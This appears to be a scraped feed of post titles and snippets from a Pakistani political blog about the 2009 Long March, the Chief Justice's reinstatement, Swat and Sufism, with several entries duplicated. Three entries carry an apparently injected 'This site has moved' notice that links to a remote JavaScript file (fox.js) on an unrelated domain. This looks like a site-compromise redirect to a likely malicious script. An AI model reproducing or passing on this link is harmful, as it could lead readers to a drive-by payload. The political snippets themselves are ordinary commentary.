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Who will lead a Long March against horse trading in Punjab?: An interesting op-ed by Asadullah Ghalib in which he appeals to the people of Punjab to start a Long March against the politics of horse trading in Punjab. If Nawaz Sharif is a man of principles, he must not
Appeal: Step forward for your Muslim brothers!: By Sana Saleem Source 1 Source 2 This a call for all those who condemn violence in the name of Islam.The atrocities by Taleban in Parachinar urges us to take strict action. We shouldn’t stand silent while our Muslim
Appeal: Step forward for your Muslim brothers! – by Sana Saleem: By Sana Saleem Source 1 Source 2 This a call for all those who condemn violence in the name of Islam.The atrocities by Taleban in Parachinar urges us to take strict action. We shouldn’t stand silent
Hard Talk: An interview with Sufi Muhammad, Leader of the TNSM in Swat, Pakistan: HARDtalk: “If Fazlullah does not appear in court when summoned, he will be acting against shariat” —Sufi Muhammad, Leader of the TNSM * Keeping weapons is allowed in Islam* The military violated the ceasefire* No objection to a cantonment
Hard Talk: An interview with Sufi Muhammad, Leader of the TNSM in Swat, Pakistan: HARDtalk: “If Fazlullah does not appear in court when summoned, he will be acting against shariat” —Sufi Muhammad, Leader of the TNSM * Keeping weapons is allowed in Islam* The military violated the ceasefire* No objection to a cantonment
Air Marshal Shahid Lateef: What is the story?: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/1121, click this link if you are not redirected
Air Marshal Shahid Lateef: What is the story?: Javed Chaudhry offers an interesting story in today’s op-ed in Daily Express regarding the appointment of the new Chief of Air Staff. My view is that Air Marshall Shahid Lateef was VCAS and rarely do VCAS become the Air
John Solecki, Kidnappers’ Casual Cruelty and Imran Khan’s Logic: Please read the last four lines of the following editorial in Daily The News. “As they stand over the bodies of their victims kidnappers invariably say that they bear no responsibility for the dead and headless body at their
John Solecki, Kidnappers’ Casual Cruelty and Imran Khan’s Logic: Please read the last four lines of the following editorial in Daily The News. “As they stand over the bodies of their victims kidnappers invariably say that they bear no responsibility for the dead and headless body at their
From Pakistan to Madagascar: A case of military aided revolutions?: From Pakistan to Madagascar, it seems we are faced with a comparable case of military aided revolutions. In Pakistan, the Punjab Police practically defied the orders of a Sindhi led Federal Government which wanted to crush an illegal Long
From Pakistan to Madagascar: A case of military aided revolutions?: From Pakistan to Madagascar, it seems we are faced with a comparable case of military aided revolutions. In Pakistan, the Punjab Police practically defied the orders of a Sindhi led Federal Government which wanted to crush an illegal Long
Abbas Ather: The Long March and the Middle Path Resolution:
Abbas Ather: The Long March and the Middle Path Resolution:
Zubeida Mustafa: The task before Justice Chaudhry: WHAT prompted the government’s change of heart at the eleventh hour that led to the announcement about the reinstatement of Chief Justice Iftikhar Chaudhry? Whatever other factors may have been at play, we also know that America, Britain and
The task before Justice Chaudhry – by Zubeida Mustafa: WHAT prompted the government’s change of heart at the eleventh hour that led to the announcement about the reinstatement of Chief Justice Iftikhar Chaudhry? Whatever other factors may have been at play, we also know that America, Britain and
Ejaz Haider: CJP restored; CJP sans Swat?: In Pakistan it is difficult to determine where to begin and how far to go back to set things right. Such situations call for pragmatism rather than sheer idealism, which is why Justice Chaudhry, the PCO 1 judge, was
Ejaz Haider: CJP restored; CJP sans Swat?: In Pakistan it is difficult to determine where to begin and how far to go back to set things right. Such situations call for pragmatism rather than sheer idealism, which is why Justice Chaudhry, the PCO 1 judge, was
Khurshid Nadeem: Sufi and Tasawwuf, A critical perspective: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Sufi and Tasawwuf, A critical view – by Khurshid Nadeem: In this op-ed, Khurshid Nadeem offers a critical perspective on Sufis and tasawwuf (mysticism) based on his reading of Allama Muhammad Iqbal and Javaid Ahmed Ghamidi. Nadeem also offers his appreciation of a Pakistani
Hasan Nisar: Justice, Chief Justice and Illusion: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected